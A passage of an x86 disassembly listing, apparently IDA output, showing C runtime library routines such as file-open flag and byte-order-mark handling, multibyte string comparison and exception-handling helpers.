		jmp	short loc_417EF7
; ---------------------------------------------------------------------------

loc_417EEE:				; CODE XREF: sub_417C3F+2A7j
		cmp	eax, 3
		jnz	short loc_417EF7
		or	[ebp+var_1], 8

loc_417EF7:				; CODE XREF: sub_417C3F+2ADj
					; sub_417C3F+2B2j
		push	edi
		push	dword ptr [esi]
		call	sub_41884B
		mov	eax, [esi]
		mov	edx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	edx, 5
		mov	edx, dword_433C00[edx*4]
		pop	ecx
		pop	ecx
		mov	cl, [ebp+var_1]
		or	cl, 1
		mov	[edx+eax+4], cl
		mov	eax, [esi]
		mov	edx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	edx, 5
		mov	edx, dword_433C00[edx*4]
		lea	eax, [edx+eax+24h]
		and	byte ptr [eax],	80h
		mov	[ebp+var_3], cl
		and	[ebp+var_3], 48h
		mov	[ebp+var_1], cl
		jnz	loc_417FCA
		test	cl, 80h
		jz	loc_418204
		test	byte ptr [ebp+arg_8], 2
		jz	short loc_417FCA
		push	2
		or	edi, 0FFFFFFFFh
		push	edi
		push	dword ptr [esi]
		call	sub_41A26B
		add	esp, 0Ch
		cmp	eax, edi
		mov	[ebp+var_8], eax
		jnz	short loc_417F89
		call	sub_40F7E7
		cmp	dword ptr [eax], 83h
		jz	short loc_417FCA

loc_417F7D:				; CODE XREF: sub_417C3F+379j
					; sub_417C3F+389j ...
		push	dword ptr [esi]
		call	sub_4126D1
		jmp	loc_417EA7
; ---------------------------------------------------------------------------

loc_417F89:				; CODE XREF: sub_417C3F+32Fj
		push	1
		lea	eax, [ebp+var_4]
		push	eax
		push	dword ptr [esi]
		mov	[ebp+var_4], bl
		call	sub_413B24
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_417FBA
		cmp	[ebp+var_4], 1Ah
		jnz	short loc_417FBA
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		push	dword ptr [esi]
		call	sub_41A0B7
		add	esp, 0Ch
		cmp	eax, edi
		jz	short loc_417F7D

loc_417FBA:				; CODE XREF: sub_417C3F+35Fj
					; sub_417C3F+365j
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_41A26B
		add	esp, 0Ch
		cmp	eax, edi
		jz	short loc_417F7D

loc_417FCA:				; CODE XREF: sub_417C3F+305j
					; sub_417C3F+318j ...
		test	[ebp+var_1], 80h
		jz	loc_418204
		mov	ecx, 74000h
		test	[ebp+arg_8], ecx
		mov	edi, 4000h
		jnz	short loc_417FF2
		mov	eax, [ebp+var_14]
		and	eax, ecx
		jnz	short loc_417FEF
		or	[ebp+arg_8], edi
		jmp	short loc_417FF2
; ---------------------------------------------------------------------------

loc_417FEF:				; CODE XREF: sub_417C3F+3A9j
		or	[ebp+arg_8], eax

loc_417FF2:				; CODE XREF: sub_417C3F+3A2j
					; sub_417C3F+3AEj
		mov	eax, [ebp+arg_8]
		and	eax, ecx
		cmp	eax, edi
		jz	short loc_41803F
		cmp	eax, 10000h
		jz	short loc_41802B
		cmp	eax, 14000h
		jz	short loc_41802B
		cmp	eax, 20000h
		jz	short loc_418039
		cmp	eax, 24000h
		jz	short loc_418039
		cmp	eax, 40000h
		jz	short loc_418025
		cmp	eax, 44000h
		jnz	short loc_418042

loc_418025:				; CODE XREF: sub_417C3F+3DDj
		mov	[ebp+var_2], 1
		jmp	short loc_418042
; ---------------------------------------------------------------------------

loc_41802B:				; CODE XREF: sub_417C3F+3C1j
					; sub_417C3F+3C8j
		mov	ecx, [ebp+arg_8]
		mov	eax, 301h
		and	ecx, eax
		cmp	ecx, eax
		jnz	short loc_418042

loc_418039:				; CODE XREF: sub_417C3F+3CFj
					; sub_417C3F+3D6j
		mov	[ebp+var_2], 2
		jmp	short loc_418042
; ---------------------------------------------------------------------------

loc_41803F:				; CODE XREF: sub_417C3F+3BAj
		mov	[ebp+var_2], bl

loc_418042:				; CODE XREF: sub_417C3F+3E4j
					; sub_417C3F+3EAj ...
		test	[ebp+arg_8], 70000h
		jz	loc_418204
		test	[ebp+var_1], 40h
		mov	[ebp+var_8], ebx
		jnz	loc_418204
		mov	eax, [ebp+var_C]
		mov	ecx, 0C0000000h
		and	eax, ecx
		cmp	eax, 40000000h
		jz	loc_418128
		cmp	eax, 80000000h
		jz	short loc_4180EF
		cmp	eax, ecx
		jnz	loc_418204
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jbe	loc_418204
		cmp	eax, 2
		jbe	short loc_41809E
		cmp	eax, 4
		jbe	short loc_4180C5

loc_418095:				; CODE XREF: sub_417C3F+500j
		cmp	eax, 5
		jnz	loc_418204

loc_41809E:				; CODE XREF: sub_417C3F+44Fj
					; sub_417C3F+496j ...
		movsx	eax, [ebp+var_2]
		xor	edi, edi
		dec	eax
		jz	loc_4181D1
		dec	eax
		jnz	loc_418204
		mov	[ebp+var_8], 0FEFFh
		mov	[ebp+var_10], 2
		jmp	loc_4181DF
; ---------------------------------------------------------------------------

loc_4180C5:				; CODE XREF: sub_417C3F+454j
		push	2
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_416A1E
		add	esp, 10h
		or	eax, edx
		jz	short loc_41809E
		push	ebx
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_416A1E
		and	eax, edx
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_417F7D

loc_4180EF:				; CODE XREF: sub_417C3F+437j
		push	3
		lea	eax, [ebp+var_8]
		push	eax
		push	dword ptr [esi]
		call	sub_413B24
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_417F7D
		cmp	eax, 2
		jz	short loc_418178
		cmp	eax, 3
		jnz	loc_4181C3
		cmp	[ebp+var_8], 0BFBBEFh
		jnz	short loc_418178
		mov	[ebp+var_2], 1
		jmp	loc_418204
; ---------------------------------------------------------------------------

loc_418128:				; CODE XREF: sub_417C3F+42Cj
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jbe	loc_418204
		cmp	eax, 2
		jbe	loc_41809E
		cmp	eax, 4
		ja	loc_418095
		push	2
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_416A1E
		add	esp, 10h
		or	eax, edx
		jz	loc_41809E
		push	ebx
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_416A1E
		add	esp, 10h
		and	eax, edx

loc_41816A:				; CODE XREF: sub_417C3F+590j
		cmp	eax, 0FFFFFFFFh
		jnz	loc_418204
		jmp	loc_417F7D
; ---------------------------------------------------------------------------

loc_418178:				; CODE XREF: sub_417C3F+4CCj
					; sub_417C3F+4DEj
		mov	eax, [ebp+var_8]
		and	eax, 0FFFFh
		cmp	eax, 0FFFEh
		jnz	short loc_4181A0
		push	dword ptr [esi]
		call	sub_4126D1
		pop	ecx
		call	sub_40F7D4
		push	16h
		pop	esi
		mov	[eax], esi

loc_418199:				; CODE XREF: sub_417C3F+C6j
		mov	eax, esi
		jmp	loc_418278
; ---------------------------------------------------------------------------

loc_4181A0:				; CODE XREF: sub_417C3F+546j
		cmp	eax, 0FEFFh
		jnz	short loc_4181C3
		push	ebx
		push	2
		push	dword ptr [esi]
		call	sub_41A26B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_417F7D
		mov	[ebp+var_2], 2
		jmp	short loc_418204
; ---------------------------------------------------------------------------

loc_4181C3:				; CODE XREF: sub_417C3F+4D1j
					; sub_417C3F+566j
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_41A26B
		add	esp, 0Ch
		jmp	short loc_41816A
; ---------------------------------------------------------------------------

loc_4181D1:				; CODE XREF: sub_417C3F+466j
		mov	[ebp+var_8], 0BFBBEFh
		mov	[ebp+var_10], 3

loc_4181DF:				; CODE XREF: sub_417C3F+481j
					; sub_417C3F+5C3j
		mov	eax, [ebp+var_10]
		sub	eax, edi
		push	eax
		lea	eax, [ebp+edi+var_8]
		push	eax
		push	dword ptr [esi]
		call	sub_417180
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_417F7D
		add	edi, eax
		cmp	[ebp+var_10], edi
		jg	short loc_4181DF

loc_418204:				; CODE XREF: sub_417C3F+30Ej
					; sub_417C3F+38Fj ...
		mov	eax, [esi]
		mov	ecx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	ecx, 5
		mov	ecx, dword_433C00[ecx*4]
		lea	eax, [ecx+eax+24h]
		mov	cl, [eax]
		xor	cl, [ebp+var_2]
		and	cl, 7Fh
		xor	[eax], cl
		mov	eax, [esi]
		mov	ecx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	ecx, 5
		mov	ecx, dword_433C00[ecx*4]
		lea	eax, [ecx+eax+24h]
		mov	ecx, [ebp+arg_8]
		mov	dl, [eax]
		shr	ecx, 10h
		shl	cl, 7
		and	dl, 7Fh
		or	cl, dl
		cmp	[ebp+var_3], bl
		mov	[eax], cl
		jnz	short loc_418276
		test	byte ptr [ebp+arg_8], 8
		jz	short loc_418276
		mov	esi, [esi]
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		mov	eax, dword_433C00[eax*4]
		lea	eax, [eax+esi+4]
		or	byte ptr [eax],	20h

loc_418276:				; CODE XREF: sub_417C3F+614j
					; sub_417C3F+61Aj
		mov	eax, ebx

loc_418278:				; CODE XREF: sub_417C3F+270j
					; sub_417C3F+55Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417C3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41827D	proc near		; CODE XREF: sub_418349+14p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	14h
		push	offset dword_421E58
		call	__SEH_prolog4
		xor	esi, esi
		mov	[ebp+var_1C], esi
		xor	eax, eax
		mov	edi, [ebp+arg_10]
		cmp	edi, esi
		setnz	al
		cmp	eax, esi
		jnz	short loc_4182B7

loc_41829C:				; CODE XREF: sub_41827D+47j
					; sub_41827D+5Bj
		call	sub_40F7D4
		push	16h
		pop	edi
		mov	[eax], edi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40CB08
		add	esp, 14h
		mov	eax, edi
		jmp	short loc_418310
; ---------------------------------------------------------------------------

loc_4182B7:				; CODE XREF: sub_41827D+1Dj
		or	dword ptr [edi], 0FFFFFFFFh
		xor	eax, eax
		cmp	[ebp+arg_0], esi
		setnz	al
		cmp	eax, esi
		jz	short loc_41829C
		cmp	[ebp+arg_14], esi
		jz	short loc_4182DA
		mov	eax, [ebp+arg_C]
		and	eax, 0FFFFFE7Fh
		neg	eax
		sbb	eax, eax
		inc	eax
		jz	short loc_41829C

loc_4182DA:				; CODE XREF: sub_41827D+4Cj
		mov	[ebp+ms_exc.disabled], esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, edi
		call	sub_417C3F
		add	esp, 14h
		mov	[ebp+var_20], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_41831B
		mov	eax, [ebp+var_20]
		cmp	eax, esi
		jz	short loc_418310
		or	dword ptr [edi], 0FFFFFFFFh

loc_418310:				; CODE XREF: sub_41827D+38j
					; sub_41827D+8Ej
		call	__SEH_epilog4
		retn
sub_41827D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418316	proc near		; DATA XREF: r69pu5ti:00421E70o
		xor	esi, esi
		mov	edi, [ebp+18h]
sub_418316	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41831B	proc near		; CODE XREF: sub_41827D+84p
		cmp	[ebp-1Ch], esi
		jz	short locret_418348
		cmp	[ebp-20h], esi
		jz	short loc_418340
		mov	eax, [edi]
		mov	ecx, eax
		sar	ecx, 5
		and	eax, 1Fh
		imul	eax, 28h
		mov	ecx, dword_433C00[ecx*4]
		lea	eax, [ecx+eax+4]
		and	byte ptr [eax],	0FEh

loc_418340:				; CODE XREF: sub_41831B+8j
		push	dword ptr [edi]
		call	sub_418A5A
		pop	ecx

locret_418348:				; CODE XREF: sub_41831B+3j
		retn
sub_41831B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418349	proc near		; CODE XREF: sub_411E84+26Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_41827D
		add	esp, 18h
		pop	ebp
		retn
sub_418349	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418367	proc near		; CODE XREF: sub_418581+Ap

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_14]
		call	sub_40AB59
		mov	edx, [ebp+arg_0]
		xor	esi, esi
		cmp	edx, esi
		jnz	short loc_4183B1
		call	sub_40F7D4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		cmp	[ebp+var_8], 0
		jz	short loc_4183A7
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_4183A7:				; CODE XREF: sub_418367+37j
		mov	eax, 7FFFFFFFh
		jmp	loc_41857E
; ---------------------------------------------------------------------------

loc_4183B1:				; CODE XREF: sub_418367+19j
		push	ebx
		mov	ebx, [ebp+arg_4]
		cmp	ebx, esi
		jnz	short loc_4183E8
		call	sub_40F7D4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		cmp	[ebp+var_8], 0
		jz	short loc_4183DE
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_4183DE:				; CODE XREF: sub_418367+6Ej
		mov	eax, 7FFFFFFFh
		jmp	loc_41857D
; ---------------------------------------------------------------------------

loc_4183E8:				; CODE XREF: sub_418367+50j
		mov	eax, [ebp+var_10]
		cmp	[eax+8], esi
		jnz	short loc_418414
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		push	edx
		call	sub_40AC10
		add	esp, 0Ch
		cmp	[ebp+var_8], 0
		jz	loc_41857D
		mov	ecx, [ebp+var_C]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	loc_41857D
; ---------------------------------------------------------------------------

loc_418414:				; CODE XREF: sub_418367+87j
		push	edi
		mov	edi, 200h

loc_41841A:				; CODE XREF: sub_418367+1CDj
		movzx	cx, byte ptr [edx]
		movzx	ecx, cx
		movzx	esi, cl
		inc	edx
		test	byte ptr [esi+eax+1Dh],	4
		mov	[ebp+arg_0], edx
		jz	short loc_418488
		cmp	byte ptr [edx],	0
		jnz	short loc_418438
		xor	esi, esi
		jmp	short loc_4184A4
; ---------------------------------------------------------------------------

loc_418438:				; CODE XREF: sub_418367+CBj
		push	1
		push	dword ptr [eax+4]
		lea	ecx, [ebp+var_4]
		push	2
		push	ecx
		push	2
		dec	edx
		push	edx
		push	edi
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_416059
		add	esp, 24h
		cmp	eax, 1
		jnz	short loc_418463
		movzx	ax, [ebp+var_4]
		jmp	short loc_41847D
; ---------------------------------------------------------------------------

loc_418463:				; CODE XREF: sub_418367+F3j
		cmp	eax, 2
		jnz	loc_418539
		movzx	ax, [ebp+var_4]
		movzx	cx, [ebp+var_3]
		shl	ax, 8
		add	ax, cx

loc_41847D:				; CODE XREF: sub_418367+FAj
		inc	[ebp+arg_0]
		movzx	esi, ax
		mov	eax, [ebp+var_10]
		jmp	short loc_4184A4
; ---------------------------------------------------------------------------

loc_418488:				; CODE XREF: sub_418367+C6j
		movzx	edx, cx
		lea	ecx, [edx+eax]
		test	byte ptr [ecx+1Dh], 10h
		jz	short loc_4184A1
		movzx	cx, byte ptr [ecx+11Dh]
		movzx	esi, cx
		jmp	short loc_4184A4
; ---------------------------------------------------------------------------

loc_4184A1:				; CODE XREF: sub_418367+12Bj
		movzx	esi, dx

loc_4184A4:				; CODE XREF: sub_418367+CFj
					; sub_418367+11Fj ...
		movzx	cx, byte ptr [ebx]
		movzx	ecx, cx
		movzx	edx, cl
		inc	ebx
		test	byte ptr [edx+eax+1Dh],	4
		jz	short loc_41850B
		cmp	byte ptr [ebx],	0
		jnz	short loc_4184BF
		xor	ecx, ecx
		jmp	short loc_418527
; ---------------------------------------------------------------------------

loc_4184BF:				; CODE XREF: sub_418367+152j
		push	1
		push	dword ptr [eax+4]
		lea	ecx, [ebp+var_4]
		push	2
		push	ecx
		push	2
		lea	ecx, [ebx-1]
		push	ecx
		push	edi
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_416059
		add	esp, 24h
		cmp	eax, 1
		jnz	short loc_4184EC
		movzx	ax, [ebp+var_4]
		jmp	short loc_418502
; ---------------------------------------------------------------------------

loc_4184EC:				; CODE XREF: sub_418367+17Cj
		cmp	eax, 2
		jnz	short loc_418539
		movzx	ax, [ebp+var_4]
		movzx	cx, [ebp+var_3]
		shl	ax, 8
		add	ax, cx

loc_418502:				; CODE XREF: sub_418367+183j
		movzx	ecx, ax
		mov	eax, [ebp+var_10]
		inc	ebx
		jmp	short loc_418527
; ---------------------------------------------------------------------------

loc_41850B:				; CODE XREF: sub_418367+14Dj
		movzx	edx, cx
		lea	ecx, [edx+eax]
		test	byte ptr [ecx+1Dh], 10h
		jz	short loc_418524
		movzx	cx, byte ptr [ecx+11Dh]
		movzx	ecx, cx
		jmp	short loc_418527
; ---------------------------------------------------------------------------

loc_418524:				; CODE XREF: sub_418367+1AEj
		movzx	ecx, dx

loc_418527:				; CODE XREF: sub_418367+156j
					; sub_418367+1A2j ...
		cmp	cx, si
		jnz	short loc_418558
		test	si, si
		jz	short loc_41856D
		mov	edx, [ebp+arg_0]
		jmp	loc_41841A
; ---------------------------------------------------------------------------

loc_418539:				; CODE XREF: sub_418367+FFj
					; sub_418367+188j
		call	sub_40F7D4
		mov	dword ptr [eax], 16h
		cmp	[ebp+var_8], 0
		jz	short loc_418551
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_418551:				; CODE XREF: sub_418367+1E1j
		mov	eax, 7FFFFFFFh
		jmp	short loc_41857C
; ---------------------------------------------------------------------------

loc_418558:				; CODE XREF: sub_418367+1C3j
		sbb	eax, eax
		and	eax, 2
		dec	eax
		cmp	[ebp+var_8], 0
		jz	short loc_41857C
		mov	ecx, [ebp+var_C]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_41857C
; ---------------------------------------------------------------------------

loc_41856D:				; CODE XREF: sub_418367+1C8j
		cmp	[ebp+var_8], 0
		jz	short loc_41857A
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41857A:				; CODE XREF: sub_418367+20Aj
		xor	eax, eax

loc_41857C:				; CODE XREF: sub_418367+1EFj
					; sub_418367+1FBj ...
		pop	edi

loc_41857D:				; CODE XREF: sub_418367+7Cj
					; sub_418367+9Bj ...
		pop	ebx

loc_41857E:				; CODE XREF: sub_418367+45j
		pop	esi
		leave
		retn
sub_418367	endp


; =============== S U B	R O U T	I N E =======================================



sub_418581	proc near		; CODE XREF: sub_411E84+1E6p
					; sub_411E84+203p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_418367
		add	esp, 0Ch
		retn
sub_418581	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418594	proc near		; CODE XREF: sub_4186FD+Ep

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		jnz	short loc_4185A9
		xor	eax, eax
		jmp	loc_4186E6
; ---------------------------------------------------------------------------

loc_4185A9:				; CODE XREF: sub_418594+Cj
		push	edi
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_10]
		call	sub_40AB59
		mov	edi, [ebp+var_C]
		cmp	[edi+8], ebx
		jnz	short loc_4185E3
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416659
		add	esp, 0Ch
		cmp	[ebp+var_4], bl
		jz	loc_4186E5
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	loc_4186E5
; ---------------------------------------------------------------------------

loc_4185E3:				; CODE XREF: sub_418594+27j
		cmp	[ebp+arg_0], ebx
		jnz	short loc_418616
		call	sub_40F7D4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_41860C
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41860C:				; CODE XREF: sub_418594+6Fj
		mov	eax, 7FFFFFFFh
		jmp	loc_4186E5
; ---------------------------------------------------------------------------

loc_418616:				; CODE XREF: sub_418594+52j
		push	esi
		mov	esi, [ebp+arg_4]
		cmp	esi, ebx
		jnz	short loc_41864C
		call	sub_40F7D4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_418642
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_418642:				; CODE XREF: sub_418594+A5j
		mov	eax, 7FFFFFFFh
		jmp	loc_4186E4
; ---------------------------------------------------------------------------

loc_41864C:				; CODE XREF: sub_418594+88j
					; sub_418594+13Cj
		mov	eax, [ebp+arg_0]
		movzx	cx, byte ptr [eax]
		dec	[ebp+arg_8]
		movzx	ecx, cx
		movzx	edx, cl
		inc	eax
		test	byte ptr [edx+edi+1Dh],	4
		mov	[ebp+arg_0], eax
		jz	short loc_418693
		cmp	[ebp+arg_8], ebx
		jnz	short loc_41867D
		movzx	eax, byte ptr [esi]
		xor	ecx, ecx
		test	byte ptr [eax+edi+1Dh],	4
		jnz	short loc_4186D6
		movzx	eax, ax
		jmp	short loc_4186C3
; ---------------------------------------------------------------------------

loc_41867D:				; CODE XREF: sub_418594+D6j
		mov	al, [eax]
		cmp	al, bl
		jnz	short loc_418687
		xor	ecx, ecx
		jmp	short loc_418693
; ---------------------------------------------------------------------------

loc_418687:				; CODE XREF: sub_418594+EDj
		xor	edx, edx
		inc	[ebp+arg_0]
		mov	dh, cl
		mov	dl, al
		movzx	ecx, dx

loc_418693:				; CODE XREF: sub_418594+D1j
					; sub_418594+F1j
		movzx	ax, byte ptr [esi]
		movzx	eax, ax
		movzx	edx, al
		inc	esi
		test	byte ptr [edx+edi+1Dh],	4
		jz	short loc_4186C3
		cmp	[ebp+arg_8], ebx
		jnz	short loc_4186AE

loc_4186AA:				; CODE XREF: sub_418594+121j
		xor	eax, eax
		jmp	short loc_4186C3
; ---------------------------------------------------------------------------

loc_4186AE:				; CODE XREF: sub_418594+114j
		mov	dl, [esi]
		dec	[ebp+arg_8]
		cmp	dl, bl
		jz	short loc_4186AA
		xor	ebx, ebx
		mov	bh, al
		inc	esi
		mov	bl, dl
		movzx	eax, bx
		xor	ebx, ebx

loc_4186C3:				; CODE XREF: sub_418594+E7j
					; sub_418594+10Fj ...
		cmp	ax, cx
		jnz	short loc_4186E9
		cmp	cx, bx
		jz	short loc_4186D6
		cmp	[ebp+arg_8], ebx
		jnz	loc_41864C

loc_4186D6:				; CODE XREF: sub_418594+E2j
					; sub_418594+137j
		cmp	[ebp+var_4], bl
		jz	short loc_4186E2
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_4186E2:				; CODE XREF: sub_418594+145j
		xor	eax, eax

loc_4186E4:				; CODE XREF: sub_418594+B3j
					; sub_418594+15Ej ...
		pop	esi

loc_4186E5:				; CODE XREF: sub_418594+3Dj
					; sub_418594+4Aj ...
		pop	edi

loc_4186E6:				; CODE XREF: sub_418594+10j
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4186E9:				; CODE XREF: sub_418594+132j
		sbb	eax, eax
		and	eax, 2
		dec	eax
		cmp	[ebp+var_4], bl
		jz	short loc_4186E4
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_4186E4
sub_418594	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186FD	proc near		; CODE XREF: sub_411E84+1D1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418594
		add	esp, 10h
		retn
sub_4186FD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_41872C
		push	dword ptr [ebp+8]
		call	sub_41D486

loc_41872C:				; DATA XREF: .text:0041871Fo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_418734:				; DATA XREF: sub_418779+Bo
					; .text:00418806o
		mov	ecx, [esp+4]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_418778
		mov	eax, [esp+14h]
		mov	ecx, [eax-4]
		xor	ecx, eax
		call	sub_40AB4A
		push	ebp
		mov	ebp, [eax+10h]
		mov	edx, [eax+28h]
		push	edx
		mov	edx, [eax+24h]
		push	edx
		call	sub_418779
		add	esp, 8
		pop	ebp
		mov	eax, [esp+8]
		mov	edx, [esp+10h]
		mov	[edx], eax
		mov	eax, 3

locret_418778:				; CODE XREF: .text:00418744j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_418779	proc near		; CODE XREF: .text:00418760p

var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	ebp
		push	eax
		push	0FFFFFFFEh
		push	offset loc_418734
		push	large dword ptr	fs:0
		mov	eax, dword_423068
		xor	eax, esp
		push	eax
		lea	eax, [esp+24h+var_20]
		mov	large fs:0, eax

loc_4187A2:				; CODE XREF: sub_418779:loc_4187E9j
		mov	eax, [esp+24h+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4187EB
		cmp	[esp+24h+arg_4], 0FFFFFFFFh
		jz	short loc_4187BE
		cmp	esi, [esp+24h+arg_4]
		jbe	short loc_4187EB

loc_4187BE:				; CODE XREF: sub_418779+3Dj
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+24h+var_18], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_4187E9
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_418829
		mov	eax, [ebx+esi*4+8]
		call	sub_418848

loc_4187E9:				; CODE XREF: sub_418779+57j
		jmp	short loc_4187A2
; ---------------------------------------------------------------------------

loc_4187EB:				; CODE XREF: sub_418779+36j
					; sub_418779+43j
		mov	ecx, [esp+24h+var_20]
		mov	large fs:0, ecx
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_418779	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset loc_418734
		jnz	short locret_41881F
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41881F
		mov	eax, 1

locret_41881F:				; CODE XREF: .text:0041880Dj
					; .text:00418818j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_418820	proc near		; CODE XREF: sub_415C50+1Ep
					; sub_415C50+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_423F90
		jmp	short loc_418834
sub_418820	endp


; =============== S U B	R O U T	I N E =======================================



sub_418829	proc near		; CODE XREF: sub_41224C+6Ep
					; sub_410640+1D1Dp ...

arg_0		= dword	ptr  4

		push	ebx
		push	ecx
		mov	ebx, offset dword_423F90
		mov	ecx, [esp+8+arg_0]

loc_418834:				; CODE XREF: sub_418820+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		push	ebp
		push	ecx
		push	eax
		pop	eax
		pop	ecx
		pop	ebp
		pop	ecx
		pop	ebx
		retn	4
sub_418829	endp


